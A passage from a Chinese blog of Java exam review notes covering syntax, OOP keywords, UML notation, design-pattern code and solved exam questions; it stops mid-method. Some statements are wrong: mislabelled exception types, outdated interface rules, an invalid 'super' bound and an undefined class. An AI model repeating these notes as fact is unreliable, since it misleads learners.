CodeAtlantis的小小博客

1
public class ClassA extends ClassB{...}  //继承
2
public class ClassA implements ClassB{...}  //接口
3
public abstract class TrafficTool{...} //抽象类
4
public abstract void slowDown(); //抽象类中抽象类的写法（后面重写）

2.常用写法#

(1) Main函数#

1
public static void main(String[] args) //Main函数写法

(2) ArrayList和循环#

1
for(ClassName i : ArrayListName)  //循环写法
2
ArrayList<ClassName> ArrayListName = new ArrayList<>(); //新建ArrayList
3
lists.add(new ClassA); // 加入到ArrayList中

(3) 输出#

1
System.out.println(""); //输出

(4) 接口声明#

1
public interface Vehicle {
2
    void speedUp();
3
    void slowDown();
4
} // 接口内直接声明，后续重写实现

(5) 数组相关#

1
import java.util.Arrays;
2

3
public class Test {
4
    public static void main(String[] args) {
5
        int[] arr = {3,1,4,2};
6

7
        // 1. 打印数组（直接打印数组会输出地址，用Arrays才会输出内容）
8
        System.out.println(Arrays.toString(arr)); // [3, 1, 4, 2]
9

10
        // 2. 数组排序
11
        Arrays.sort(arr);
12
        System.out.println(Arrays.toString(arr)); // [1, 2, 3, 4]
13

14
        // 3. 数组查找
15
        int index = Arrays.binarySearch(arr, 3); // 找元素3的下标
16
        System.out.println(index); // 2
17

18
        // 4. 数组复制
19
        int[] newArr = Arrays.copyOf(arr, arr.length);
20
    }
21
}

显示更多显示更少

(6) 字符串相关#

1
// 创建 String 对象
2
String str1 = "Hello Java";  // 直接赋值
3
String str2 = new String("Hello Java");  // 构造方法创建（新对象）
4

5
// 获取长度
6
int len = str1.length();
7

8
// 按索引获取字符
9
char ch = str1.charAt(0);  // 获取索引0的字符：'H'
10

11
// 字符串拼接
12
String concatStr = str1.concat(" World");  // 拼接："Hello Java World"
13
String addStr = str1 + "!!!";  // 最常用拼接方式
14

15
// 分割字符串
16
String str = "a,b,c,d";
17
String[] splitArray = str.split(",");  // 按逗号分割，返回数组：["a","b","c","d"]
18

19
// 遍历字符串
20
for (int i = 0; i < str1.length(); i++) {
21
    System.out.println(str1.charAt(i));
22
}

显示更多显示更少

(7) Vector相关#

1
Vector vector = new Vector(); //定义
2
vector.add("country China"); //增加内容
3

4
//遍历输出所有元素
5
Iterator it = vector.iterator();//使用迭代器
6
while(it.hasNext()){
7
    System.out.println(it.next());
8
}
9

10
//删除/查找
11
while(it.hasNext()){
12
    String str = (String) it.next();
13
    if(str.startsWith(prefix)){  //考过的 判断str是否以perfix为开头
14
        it.remove(); //安全删除
15
    }
16
}

显示更多显示更少

(8) 文件读入#

重点：readline

1
//文件读入
2
import java.io.*;
3
public class ReadFile {
4
    public static void main(String[] args) {
5
        try {
6
            // 按题目提示：FileInputStream → InputStreamReader → BufferedReader
7
            FileInputStream fis = new FileInputStream("java.txt");
8
            InputStreamReader isr = new InputStreamReader(fis);
9
            BufferedReader br = new BufferedReader(isr);
10

11
            String line;
12
            while ((line = br.readLine()) != null) {
13
                System.out.println(line);
14
            }
15
            br.close();
16

17
        } catch (IOException e) {
18
            e.printStackTrace();
19
        }
20
    }
21
}

显示更多显示更少

3.UML题目做题策略#

1.根据题目找出有几个类，类里面分别有哪些变量，变量的属性应该是什么？
2.根据题目描述找出每个类之间的关系，继承、接口等（注意分析题目中暗示的继承关系）
3.判断每个类中有哪些东西是super，哪些是this，哪些可以直接复用

二、单选题知识点整理#

1.Arraylist和vector#

ArrayList 继承了 AbstractList ，并实现了 List 接口
Arraylist 线程不安全（Vector线程安全）
ArrayList 存储的是对象引用，不能存基本数据类型
ArrayList 是按照插入顺序的有序集合
ArrayList 可以动态扩展，每次扩展到1.5倍

1
ArrayList<T> a = new ArrayList<T>();  // T为Arraylist中元素类型
2
a.get(n) //来获取Arraylist中的第 `n+1` 个元素（index从0开始）
3
a.set(2, "Wiki"); // 第一个参数为索引位置，第二个为要修改的值
4
a.remove(3); // 删除第四个元素
5
a.size(); // 计算 ArrayList 中的元素数量
6
for(String i : a) // 迭代Arraylist中的元素

Vector删除时必须用 it.remove() 而非 vector.remove()，否则会抛出 ConcurrentModificationException。

2.继承#

a instanceof b 只要左对象的实际类型是右类型本身、子类、间接子类，结果为 true。
null instanceof 任意类，结果永远是 false
String类、基本类型类、System类、Math类、Collections类被 final 修饰，不能被继承。
Java只支持单继承（一个类只能 extends 一个父类），但可以实现多个接口（implements 多个）
子类未必有更多成员（若没有新增成员则相同）

3.接口#

public ClassA implements InterfaceA

接口不能被实例化，只能被实现
接口中的字段默认是 public static final（常量），不能定义普通成员变量，且接口常量必须在声明时直接赋值，且不能修改
接口中的方法没有方法体（接口无构造方法）
接口中抽象方法默认修饰符为 public abstract
接口可以多继承接口，类可以多实现接口。
接口不能有 private 方法
抽象类有构造方法（供子类 super() 调用）；接口无构造方法
抽象类=is-a（本质是什么）；接口=like-a（能做什么）

4.Srting类#

String 是不可变字符串
String 是引用类型，不是基本数据类型
String s1 = "hello"; String s2 = "hello"; 则 s1 == s2 为 true
String 类被 final 修饰，不能被继承

5.数组#

数组的声明： int[] arr; int arr[];(定义引用，未分配内存) int[][] matrix;
数组的声明+初始化： int[] arr = new int[3]; int[] arr = {1, 2, 3}; int[] arr = new int[]{1, 2, 3};⭐ int[][] matrix = new int[3][3];
```
1
// 直接赋值，编译器自动计算行列
2
int[][] matrix = {{1, 2, 3},{4, 5, 6},{7, 8, 9}};
```

数组的初始化：

1
int[] arr; // 第一步：声明数组变量（无内存分配）
2
arr = new int[10]; // 第二步：初始化（分配内存，指定长度）
3
arr = new int[]{1,2,3}; // 或初始化并赋值

注意：Java 数组声明时 int[] 内不能写大小

6.关键字#

super 关键字：
- super 代表父类对象引用，只存在于子类中，作用：访问父类的成员变量、成员方法、构造方法。
- 同名变量、重写方法， super. 指向父类。
this 关键字：
- this 代表当前对象本身， this() 调用本类其他构造方法。
- this() 可以在构造方法中调用本类的其他构造方法
- this 既能在实例方法中使用，也能在构造方法中使用
- 静态方法中没有 this
this() 和 super() 都必须放在构造方法第一行，两者都禁止在 static 中使用。
static 关键字：修饰类的成员（变量、方法、代码块、内部类），表示属于类本身，而非对象实例 不能被重写
final 关键字： 不可修改、不可重写、不可继承
- 可以先声明、后赋值，但仅允许赋值 1 次
- 声明时不赋值不会报错，但使用前必须完成初始化。
- static final属于类，类加载时就要完成赋值
abstract 关键字 抽象、不完整，用来定义模板，强制子类补全实现。可修饰类、方法。
- 只有方法声明，没有方法体（末尾分号结束） public abstract void eat();
- 抽象方法必须写在抽象类 / 接口中
- 子类继承抽象类后：必须重写所有抽象方法
- abstract 修饰抽象类，不能使用 new 直接实例化
- 普通子类继承抽象类 → 必须实现全部抽象方法
- 抽象子类继承抽象类 → 可不用实现抽象方法，继续交由下一代子类实现
- 包含抽象方法的类一定是抽象类

7.泛型#

泛型可用于类、接口、方法
泛型在编译期进行类型检查，可用于增强类型安全
泛型类型参数只能是引用类型，不能使用基本类型
泛型在运行时不保留泛型信息，泛型只在编译时有效
泛型集合之间无继承多态关系
<U extends T> 是上界通配符，意思是 U 必须是 T 本身或 T 的子类（上界为 T）。对比：<U super T> 是下界通配符，U 必须是 T 或 T 的超类。

8.UML图绘制#

类名-属性-方法

(1)访问权限符号#

符号	访问修饰符	含义
`+`	`public`	公共，所有类可访问
`-`	`private`	私有，仅本类访问
`#`	`protected`	受保护，本类 + 子类 + 同包
`~`	`default`	同包内可访问

(2)语法格式#

属性：可见符变量名 : 类型 [= 默认值] 例如：- name : String
方法：可见符方法名(参数:类型) : 返回值类型 例如：+ setDir(dir:Direction) : void

(3)绘图线条#

箭头统一指向：被依赖 / 被继承 / 被实现的一方
实线 + 空心三角：继承（泛化） ——▷
虚线 + 空心三角：实现（接口）------▷
实线（可带箭头）：关联 ———
虚线 + 箭头：依赖 ------▶
实线 + 空心菱形：聚合 ——◇
实线 + 实心菱形：组合 ——◆
一个类关联箭头指回自身时，表示该类的对象可以持有同类对象的引用，称为 self-containing class（自包含类）

(4)用例图#

描述参与者、功能（用例），多用于需求分析
参与者：小人图标，表示人 / 外部系统
用例：椭圆，代表系统功能
关系：实线连接

(5)时序图#

对象之间按时间顺序的交互、方法调用流程
对象：顶部矩形，格式：对象名 : 类名
生命线：对象下方垂直虚线
激活框：虚线上的细长矩形（表示对象正在执行）
消息：水平箭头，表示方法调用，箭头指向被调用方

9.五大设计模式#

单例模式

一个类在整个程序中，有且仅有一个实例，并提供全局唯一访问入口。
私有构造方法：禁止外部 new

1
//懒汉式
2
public class Singleton {
3
    private static Singleton instance;
4
    private Singleton (){}
5
    public static Singleton getInstance() {
6
        if (instance == null) {
7
            instance = new Singleton();
8
        }
9
        return instance;
10
    }
11
}

1
//饿汉式
2
public class Singleton {
3
    private static Singleton instance = new Singleton();
4
    private Singleton (){}
5
    public static Singleton getInstance() {
6
    return instance;
7
    }
8
}

观察者模式

一对多依赖：当被观察者状态改变时，自动通知所有观察者并触发更新
核心角色
- 被观察者：维护观察者列表，提供增删、通知方法
- 具体主题：状态改变，触发通知
- 抽象观察者：定义接收通知的更新接口
- 具体观察者：收到通知后执行具体逻辑

Subject.java显示更多显示更少

1
public class Subject {
2
    private List<Observer> observers = new ArrayList<Observer>();
3
    private int state;
4
    public int getState(){
5
        return state;
6
    }
7
    public void setState(int state) {
8
        this.state = state;
9
        notifyAllObservers();
10
    }
11
    public void attach(Observer observer){
12
        observers.add(observer);
13
    }
14
    public void notifyAllObservers(){
15
        for (Observer observer : observers) {
16
            observer.update();
17
        }
18
    }
19
}

显示更多显示更少

Observer.java

1
public abstract class Observer {
2
    protected Subject subject;
3
    public abstract void update();
4
}

1
// BinaryObserver.java 实体观察者类
2
public class BinaryObserver extends Observer{
3

4
    public BinaryObserver(Subject subject){
5
        this.subject = subject;
6
        this.subject.attach(this);
7
    }
8

9
    @Override
10
    public void update() {
11
        System.out.println( "Binary String: " + Integer.toBinaryString( subject.getState() ) );
12
    }
13
}

每次主函数中subject.setState();时，subject自动调用notifyAllObservers();通知所有attach过的observer，让其更新状态

策略模式

定义一系列算法，把每个算法封装成独立类，算法之间可自由切换
使用到了重写，未使用重载
核心是将算法的定义和使用分离
核心角色
- 抽象策略：接口 / 抽象类，定义算法统一规范
- 具体策略：实现不同算法
- 环境上下文：持有策略引用，对外提供调用入口

Strategy.java显示更多显示更少

1
public interface Strategy {
2
    public int doOperation(int num1, int num2);
3
}
4

5
// Operation1.java
6
public class Operation1 implements Strategy{
7
    @Override
8
    public int doOperation(int num1, int num2) {
9
        return num1 + num2;
10
    }
11
}
12

13
// Context.java
14
public class Context {
15
    private Strategy strategy;
16
    public Context(Strategy strategy){
17
        this.strategy = strategy;
18
    }
19
    public int executeStrategy(int num1, int num2){
20
        return strategy.doOperation(num1, num2);
21
    }
22
}
23

24
// MainClass.java
25
public class MainClass {
26
    public static void main(String[] args) {
27
        Context context = new Context(new OperationAdd());
28
    }
29
}

显示更多显示更少

装饰器模式

动态地给一个对象添加额外的职责，同时不改变其结构
提供了一种灵活的替代继承方式来扩展功能
核心角色
- 抽象构件：顶层抽象接口/类，定义核心行为
- 具体构件：原始基础对象（被装饰的主体）
- 抽象装饰器：继承/实现抽象构件，持有抽象构件引用
- 具体装饰器：在原有功能上叠加新逻辑

1
public interface Shape {
2
    void draw();
3
}
4
public class Rectangle implements Shape {
5
    @Override
6
    public void draw() {
7
        System.out.println("Shape: Rectangle");
8
    }
9
}
10
public class Circle implements Shape {
11
    @Override
12
    public void draw() {
13
        System.out.println("Shape: Circle");
14
    }
15
}
16
public abstract class ShapeDecorator implements Shape {
17
    protected Shape decoratedShape;
18
    public ShapeDecorator(Shape decoratedShape){
19
        this.decoratedShape = decoratedShape;
20
    }
21
    public void draw(){
22
        decoratedShape.draw();
23
    }
24
}
25
public class RedShapeDecorator extends ShapeDecorator {
26
    public RedShapeDecorator(Shape decoratedShape) {
27
        super(decoratedShape);
28
    }
29
    @Override
30
    public void draw() {
31
        decoratedShape.draw();
32
        setRedBorder(decoratedShape);
33
    }
34
    private void setRedBorder(Shape decoratedShape){
35
        System.out.println("Border Color: Red");
36
    }
37
}
38
public class DecoratorPatternDemo {
39
    public static void main(String[] args) {
40
        Shape circle = new Circle();
41
        ShapeDecorator redCircle = new RedShapeDecorator(new Circle());
42
        System.out.println("Circle with normal border");
43
        circle.draw();
44
        System.out.println("\nCircle of red border");
45
        redCircle.draw();
46
    }
47
}

显示更多显示更少

组合模式

把单个对象和由多个对象组成的 “整体容器”，当成一模一样的东西来用
单个节点、一组节点，调用方式完全一样
将对象组合成树形结构以表示”部分-整体”的层次结构，组合模式使得用户对单个对象和组合对象的使用具有一致性
核心角色：
- Component接口：定义了所有对象必须实现的操作
- Leaf类：实现Component接口，代表树中的叶子节点
- Composite类：也实现Component接口，并包含其他Component对象的集合

1
//抽象构件（统一接口）
2
public abstract class FileNode {
3
    public abstract void show();
4
}
5

6
// 叶子节点（文件，无子节点）
7
public class File extends FileNode {
8
    private String name;
9
    public File(String name) { this.name = name; }
10
    @Override
11
    public void show() {
12
        System.out.println("文件：" + name);
13
    }
14
}
15

16
// 容器节点（文件夹，可存子节点）
17
import java.util.ArrayList;
18
import java.util.List;
19
public class Folder extends FileNode {
20
    private String name;
21
    private List<FileNode> childs = new ArrayList<>();
22
    public Folder(String name) { this.name = name; }
23

24
    // 添加子节点（文件/文件夹）⭐⭐⭐
25
    public void add(FileNode node) {
26
        childs.add(node);
27
    }
28

29
    @Override
30
    public void show() {
31
        System.out.println("文件夹：" + name);
32
        // 遍历所有子节点
33
        for (FileNode node : childs) {
34
            node.show();
35
        }
36
    }
37
}

显示更多显示更少

策略模式：换算法/换行为（做加法、减法、乘法，直接换一套逻辑） 装饰器模式：在原有功能上叠加功能（原功能保留，外面多加东西）

设计模式	核心作用	核心关系 (UML)	一句话记忆
单例模式	全局唯一实例	独立类，静态成员 + 私有构造	一生只有一个对象
策略模式	算法自由切换，消灭 if/else	实现 + 普通关联	一套接口，多种算法
观察者模式	一对多消息通知	双接口实现 + 关联	状态一变，全员收到通知
装饰模式	动态叠加功能，灵活扩展	实现 + 组合关联 + 继承	套壳加功能，不用子类泛滥
组合模式	树形结构，统一处理叶子 / 容器	实现 + 聚合（空心菱形）	整体和部分一视同仁

10.Package包#

包（package）用于组织类和接口，类似文件夹，提供命名空间
同一包内不能有同名类、不同包之间可以有同名类
包中的类可以是 default（包访问权限），不必须是 public
包不需要层层嵌套定义声明，包的目录结构层层对应，但声明时直接写全路径例如 package com.student.util;

11.重写和重载#

重载是「同一个类里方法同名不同参」，重写是「子类改写父类方法」

重载（Overload）
- 在同一个类中，多个方法方法名相同，但参数列表不同，彼此互为重载
- 必要条件：①方法名完全一致；②参数（个数、类型或者顺序）必须不同
- 注意：仅返回值不同，不能构成重载
重写（Override）
- 子类继承父类后，子类重新定义一个和父类签名完全一致的方法，覆盖父类原有实现
- 必要条件：
  - 方法名和参数列表（个数、类型、顺序）完全相同
  - 返回值必须一模一样（子类返回值可以是父类返回值的子类（协变返回））
  - 子类方法权限不能比父类更严格
  - 子类抛出的受检异常，不能比父类更大/更多；可以：不抛异常、抛父类异常、抛父类异常的子类。
- 注意：
  - final类型方法不能被重写
  - 父类的private方法子类看不见，本质不算重写
  - static静态方法不能被重写，只会 “隐藏”
  - abstract方法，普通子类必须重写
  - 构造方法不能重写，只能重载

12.异常#

Java中Exception和Error类都来自于Throwable类
非检查异常（Unchecked） = RuntimeException 及其子类，编译器不强制处理： NullPointerException ArrayIndexOutOfBoundsException ClassCastException 等。
检查异常（Checked）：IOException SQLException ClassNotFoundException，必须 try-catch 或 throws
运行时异常（UncheckedException）编译器不强制处理
RuntimeException（非检查异常）不必显式捕获
同一异常对象可以被 catch 后再 throw，可以多次抛出
异常没有被处理，放在callstack（调用栈）中

try-catch-finally 异常处理

1
// 标准格式
2
try {
3
    // 可能出现异常的代码（监控区）
4
    // 一旦代码出现异常，try 块内后续代码立即停止执行，直接跳转到匹配的 catch
5
    // try 不能单独存在，后面必须跟 catch 或 finally
6
} catch (异常类型 异常对象) {
7
    // 捕获对应异常后的处理逻辑
8
    // 多个 catch 遵循：子类异常在前，父类异常在后
9
    // 只会执行第一个匹配到异常类型的 catch，其余 catch 不再执行
10

11
    // 常见打印报错用的语句：
12
    // e.getMessage(); 只打印异常原因文本，无类名、堆栈
13
    // e.toString(); 打印异常类名 + 异常原因
14
    // e.printStackTrace(); 输出异常类型、原因、代码报错行号、调用栈
15
} finally {
16
    // 正常执行、出现异常、catch 中 return，finally 都会执行
17
    // 属于无论是否发生异常，**必定执行**的代码
18
    // 唯一不会执行 finally 的场景：
19
    // 执行 System.exit(0) 直接终止 JVM；
20
    // 程序所在线程被杀死、宕机等极端情况。
21
}

显示更多显示更少

无异常：try → finally
有异常，被 catch 捕获：try(中断) → catch → finally
有异常，无对应 catch：try(中断) → finally → 异常向外抛出

1
Throwable (父类)
2
├── Error (错误，不可处理)
3
└── Exception (异常，可处理)
4
    ├── RuntimeException (运行时异常，非受检)
5
    └── UncheckedException (编译时异常，受检)

13.内部类#

写在另一个类内部的类，外部包裹的类叫外部类
成员内部类：
- 属于外部类的实例对象，依赖外部类实例
- 成员内部类可以直接访问外部类的私有成员
- 不能定义静态成员
```
1
// 方式1：外部类.内部类 引用 = 外部对象.new 内部类()
2
Outer.Inner in = new Outer().new Inner();
```
静态内部类：
- 用 static 修饰，属于外部类本身，不依赖外部类实例
- 静态内部类不能访问外部类的非静态成员
- 可以正常定义静态变量、静态方法、实例成员
```
1
// 无需外部类实例
2
Outer.StaticInner si = new Outer.StaticInner();
```
局部内部类
- 定义在方法、代码块、构造器内部，作用域仅限当前局部
- 局部内部类只能在定义它的方法内使用
- 不能使用 public/private/protected/static 修饰
- 可以访问外部类所有成员
- 若访问所在方法的局部变量，该变量必须是 final
匿名内部类
- 没有类名，一次性使用，简写代码
- 本质：快速继承一个类 / 实现一个接口
- 只能继承一个类或实现一个接口

14.构造方法#

构造方法：类创建对象时，自动调用的特殊方法，作用是初始化对象成员
构造方法只有new的时候才会调用，平时不使用
构造方法不能被继承，但子类可通过 super() 调用
构造方法没有返回值类型声明（void 也没有）
构造方法名必须与类名完全相同
一个类可以有多个构造方法（构造方法重载）
this() 与 super() 调用构造
- this() 调用本类中其他重载的构造方法
- super() 调用父类的构造方法，子类构造默认第一行隐式存在 super()
- 必须写在构造方法第一行
- 同一构造中，this() 和 super() 只能二选一，不能共存
- 不能循环调用
- 父类没有无参构造时，子类必须手动写 super(实参) 指定调用父类有参构造
不能用 static、final、abstract、native 修饰构造方法
构造方法只存在重载、不存在重写
抽象类有构造方法、接口没有构造方法
核心用途：给新建的对象赋初始值，避免创建对象后再手动赋值

15.多态#

同一个方法，不同对象执行不同实现；父类引用指向子类对象
多态可以通过继承或接口实现，然后重写父类方法
多态的优点：提高代码扩展性和可维护性

16.关联和聚合#

关联(Association)
- 表示两个类之间存在一种长期的、稳定的连接
- 通常表现为一个类将另一个类作为成员变量
- 两个对象的生命周期通常是独立的
聚合(Aggregation)
- 关联的一种特殊形式，表示“整体与部分”的关系
- 依然是成员变量，但在业务逻辑上强调“包含”关系，且该对象通常是从外部传入或共享的
- 一个“部分”对象可以同时属于多个“整体”对象
- 部分（Part）可以脱离整体（Whole）而独立存在，整体的销毁不一定导致部分的销毁
聚合是关联的特殊形式

17.静态模型和对象模型#

静态模型 (Static Model)
- 静态模型是对象模型中关于结构的那一部分
- 它关注的是系统在不运行、不随时间变化时的组成成分及其相互关系
- 不涉及“先做什么后做什么”，也不涉及状态的改变
对象模型 (Object Model)
- 对象模型是对现实世界问题域或系统解决方案的全面抽象
- 包含类的定义，还包含了对象之间的交互、状态变化以及系统的动态行为
- 既包含静态结构（类图）
- 也包含动态行为（序列图、状态图、活动图、协作图）

18.文件读写#

文件写入：
- PrintWriter
  - print()：输出内容不换行
  - println()：输出内容末尾自动换行
  - printf()：格式化输出
  - 必须调用 close() 关闭流释放资源
- FileWriter：基础字符写入流，可写单个字符、字符串、字符数组，支持 flush() 刷新缓冲区、close() 关闭
- BufferedWriter：缓冲字符写入流，效率更高，newLine() 实现跨平台换行
文件读入：
- Scanner
  - hasNext()：判断是否还有数据
  - next()/nextInt()/nextDouble()：按分隔符读取数据
  - nextLine()：读取一整行
- FileReader：基础字符读取流，read() 读单个字符，读到文件末尾返回 -1
- BufferedReader
  - readLine()：读取一整行，文件末尾返回 null
多层包装：FileInputStream → InputStreamReader → BufferedReader（字节流转字符流 + 缓冲）
异常处理
- 读文件：文件不存在 → 抛出 FileNotFoundException（受检异常，必须捕获 / 声明）
- 写文件：文件不存在 → 自动创建，不报错
- 所有流操作异常父类：IOException
Reader读入字符 Stream读入字节

小知识点#

类型转换
- 自动转换（隐式）：小范围到大范围
- 强制转换（显式）：大范围到小范围，需加 (类型) 强转符
浮点数字面量默认是 double 类型
- 错误写法：float x = 6.0;
- 正确写法：float x = (float) 6.0; 或 float x = 6.0f;
装箱 & 拆箱（包装类（Wrapper Class）是指将基本数据类型（Primitive Type）封装成对象的类）
- 装箱：基本类型 → 对应的包装类
- 拆箱：包装类 → 基本类型
实例变量：属于对象，对象创建后才分配内存
静态变量：被 static 修饰，属于类，所有对象共享，类加载时初始化
import 中 * 的作用：导入该包下所有类 / 接口，简化代码，无需逐个导入类
JavaDoc：专门用于生成程序帮助文档，一般用于类、方法、成员变量上方
- JavaDoc的首句：概要描述
- 标签：@author , @version , @return 对代码附加声明
Java 标识符规则：只能由字母、数字、_ 、$ 组成，不能以数字开头，不能是关键字。
数组索引从 0 开始
Java 独立运行的程序叫 Application（应用程序），有 main() 方法作为入口。 Applets 运行在浏览器中（已废弃）， Servlets 运行在服务器端， Midlets 是 J2ME 移动程序
Java类初始化顺序（加载及实例化顺序）：
- 静态变量 → 静态代码块 → 构造代码块 → 构造方法（同级按代码顺序）
- 静态变量/静态代码块（类加载时，只执行一次）
- 构造代码块（每次创建对象执行）
Java中所有类的根类是Object类，所有类都隐式继承Object
JVM = Java Virtual Machine（Java 虚拟机）。它负责将字节码（.class）翻译为机器码执行，是 Java “一次编写，到处运行”的基础。
Stack trace（堆栈跟踪）是异常发生时打印的方法调用链，显示从哪个方法调用到哪个方法最终触发了异常，帮助定位错误位置。还可用于理解执行流程、排查性能问题 栈轨迹是方法调用的序列，不是变量列表，也不是错误本身。
集合（Collection）表示一个对象拥有多个其他对象，体现的是 one-to-many（一对多）关系
当 System.exit() 被调用或 JVM 崩溃时，finally块不执行
java.util.Calendar 使用单例模式，通过 Calendar.getInstance() 获取实例，构造方法是 protected，不允许直接 new。 Runtime 类（Runtime.getRuntime()）也是典型单例。
Java 编译器自动隐式导入 java.lang.*，所以 String、System、Math、Object 等无需 import。java.util 需要手动 import
文件读写
- 打开不存在的文件进行读取时，Java 会抛出 FileNotFoundException，这是 IOException 的子类，属于 Checked Exception，必须处理。
Object 类的方法：toString、equals、hashCode、getClass、clone、wait、notify、notifyAll、finalize
静态方法：
- 静态方法中没有 this（无当前对象）
- 静态方法不能是 abstract（abstract 要求子类实现，静态方法不被重写）
- 静态方法只能直接访问静态变量和静态方法
- 静态方法属于类本身，通过类名.方法名() 调用
抽象类和接口都可以有数据字段，只是接口中的数据字段默认为常量
equals(Object obj)用来测试两个字符串是否相等
public static void main 中修饰符的顺序可以改变
FlowLayout 是 Panel 和 Applet 的默认布局管理器（从左到右，超出则换行）。JFrame/Frame 默认是 BorderLayout；JPanel 默认也是 FlowLayout
java.awt.* 是 Java AWT 图形界面的基础包，含 Frame、Panel、Button、Label 等核心组件

三、易错题&难题#

四、历年真题#

五、大题整理（源自真题）#

简单求和

1
//Write a program to find the sum of all integers from 1 to 100, and output the results.
2
public class SumDemo {
3
    public static void main(String[] args) {
4
        int sum = 0;
5
        for (int i = 1; i <= 100; i++) {
6
            sum += i;
7
        }
8
        System.out.println("Sum from 1 to 100 = " + sum);
9
    }
10
}
11

12
// Declare an array intArr, which include {1,2,3,4,5}, Please write a Java program to caculate the sum of the five elements, then output the result into console.
13
int[] intArr = {1, 2, 3, 4, 5};
14
int sum = 0;
15
for (int v : intArr) sum += v;
16
System.out.println(sum);

显示更多显示更少

计算大写字母

1
// (Count uppercase letters) Write a program that prompts the user to enter a string and displays
2
the number of the uppercase letters in the string.
3
Scanner in = new Scanner(System.in);
4
String s = in.nextLine();
5
int count = 0;
6
for (int i = 0; i < s.length(); i++) {
7
    if (Character.isUpperCase(s.charAt(i))) count++;
8
}
9
System.out.println(count);

数码频率

1
// Digit Frequency Counting: Counting the frequency of each digit occurrence in a single array by using “BufferedReader”
2
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
3
String line = br.readLine();
4
int[] freq = new int[10];
5
for (int i = 0; i < line.length(); i++) {
6
    char ch = line.charAt(i);
7
    if (Character.isDigit(ch)) freq[ch - '0']++;
8
}
9
for (int i = 0; i < freq.length; i++) {
10
    System.out.println(i + ": " + freq[i]);
11
}

最大最小值

1
// Max/min of 10 integers
2
Scanner input = new Scanner(System.in);
3
int max = Integer.MIN_VALUE, min = Integer.MAX_VALUE;
4
for (int i = 0; i < 10; i++) {
5
    try {
6
        int v = input.nextInt();
7
        max = Math.max(max, v);
8
        min = Math.min(min, v);
9
    } catch (InputMismatchException ex) {
10
        throw new IllegalArgumentException("input is not an integer");
11
    }
12
}
13
System.out.println("Max=" + max);
14
System.out.println("Min=" + min);

字符串遍历、打印、删除、去重

1
import java.util.Iterator;
2
import java.util.Vector;
3

4
public class MainClass {
5
    Vector vector = new Vector();
6
    public MainClass() {
7
        vector.add("country China");
8
        vector.add("country America");
9
        vector.add("country English");
10
        vector.add("name Mary");
11
        vector.add("name Linda");
12
        vector.add("name Mike");
13
        vector.add("name John");
14
    }
15
    // ① 遍历输出所有元素
16
    public void printElements() {
17
        Iterator it = vector.iterator();
18
        while (it.hasNext()) {
19
            System.out.println(it.next());
20
        }
21
    }
22
    // ② 删除以指定前缀开头的字符串（用 Iterator 避免 ConcurrentModificationException）
23
    public void deleteStartsWith(String prefix) {
24
        Iterator it = vector.iterator();
25
        while (it.hasNext()) {
26
            String str = (String) it.next();
27
            if (str.startsWith(prefix)) {
28
                it.remove();   // 安全删除
29
            }
30
        }
31
    }
32
    // ③ 打印以指定前缀开头的字符串
33
    public void printStartsWith(String prefix) {
34
        Iterator it = vector.iterator();
35
        while (it.hasNext()) {
36
            String str = (String) it.next();
37
            if (str.startsWith(prefix)) {
38
                System.out.println(str);
39
            }
40
        }
41
    }
42
}

显示更多显示更少

文件读入

1
//Write a class to read a given text file (java.txt) and output contents to console. Hint: BufferedReader, FileInputStream, InputStreamReader.
2
import java.io.*;
3
public class ReadFile {
4
    public static void main(String[] args) {
5
        try {
6
            // 按题目提示：FileInputStream → InputStreamReader → BufferedReader
7
            FileInputStream fis = new FileInputStream("java.txt");
8
            InputStreamReader isr = new InputStreamReader(fis);
9
            BufferedReader br = new BufferedReader(isr);
10

11
            String line;
12
            while ((line = br.readLine()) != null) {
13
                System.out.println(line);
14
            }
15
            br.close();
16

17
        } catch (IOException e) {
18
            e.printStackTrace();
19
        }
20
    }
21
}

显示更多显示更少

单例模式

1
// Complete the singleton pattern for StudentInfo (only one instance can be created). ① field ② constructor ③ getSingletonInstance(). (10 points)
2
public class StudentInfo {
3
    // ① 私有静态实例字段（延迟初始化）
4
    private static StudentInfo instance = null;
5
    private String name;
6
    private String ID;
7
    // ② 私有构造方法，防止外部 new
8
    private StudentInfo() {
9
        name = "";
10
        ID = "";
11
    }
12
    // ③ 公有静态工厂方法，第一次调用时创建实例
13
    static public StudentInfo getSingletonInstance() {
14
        if (instance == null) {
15
            instance = new StudentInfo();
16
        }
17
        return instance;
18
    }
19
    public String getName() { return name; }
20
    public String getID()   { return ID; }
21
}
22

23
// There is a class named ImgResource, please applying singleton pattern to it, write the java code and draw the UML class diagram.
24
public class ImgResource {
25
    private static final ImgResource INSTANCE = new ImgResource();
26
    private ImgResource() {}
27
    public static ImgResource getInstance() { return INSTANCE; }
28
}

显示更多显示更少

UML图综合大题1

UserDTO.java显示更多显示更少

1
public class UserDTO {
2
    private String userAccount;
3
    private String userPassword;
4

5
    public String getUserAccount()  { return userAccount; }
6
    public void   setUserAccount(String acc) { this.userAccount = acc; }
7
    public String getUserPassword() { return userPassword; }
8
    public void   setUserPassword(String pwd) { this.userPassword = pwd; }
9
}
10

11
// IUserDAO.java（接口）
12
public interface IUserDAO {
13
    boolean addUser(UserDTO user);
14
}
15

16
// OracleUserDAO.java（实现类）
17
public class OracleUserDAO implements IUserDAO {
18
    public boolean addUser(UserDTO user) {
19
        // Oracle specific implementation
20
        return true;
21
    }
22
}
23

24
// RegisterForm.java
25
public class RegisterForm {
26
    private IUserDAO userDAO;
27

28
    public RegisterForm(IUserDAO dao) {
29
        this.userDAO = dao;
30
    }
31

32
    public void register(String account, String password) {
33
        UserDTO dto = new UserDTO();
34
        dto.setUserAccount(account);
35
        dto.setUserPassword(password);
36
        userDAO.addUser(dto);
37
    }
38
}

显示更多显示更少

UML图综合大题2.1

Person.java显示更多显示更少

1
// Use the UML class diagram (Person ← Student / Employee) to create Java classes. Person.display() prints name; Student.display() prints name+ID; Employee.display() prints name+salary; hasSameName(Person) compares names; isEqual(Student) uses hasSameName and also compares ID.
2
public class Person {
3
    private String name;
4

5
    public Person() { this.name = ""; }
6
    public Person(String name) { this.name = name; }
7

8
    public void   setName(String name) { this.name = name; }
9
    public String getName() { return name; }
10

11
    public void display() {
12
        System.out.println("Name: " + name);
13
    }
14

15
    public boolean hasSameName(Person p) {
16
        return this.name.equals(p.getName());
17
    }
18
}
19

20
// Student.java
21
public class Student extends Person {
22
    private int studentID;
23

24
    public Student() { super(); }
25
    public Student(String name, int id) { super(name); this.studentID = id; }
26

27
    public void  setID(int id) { this.studentID = id; }
28
    public int   getID() { return studentID; }
29

30
    @Override
31
    public void display() {
32
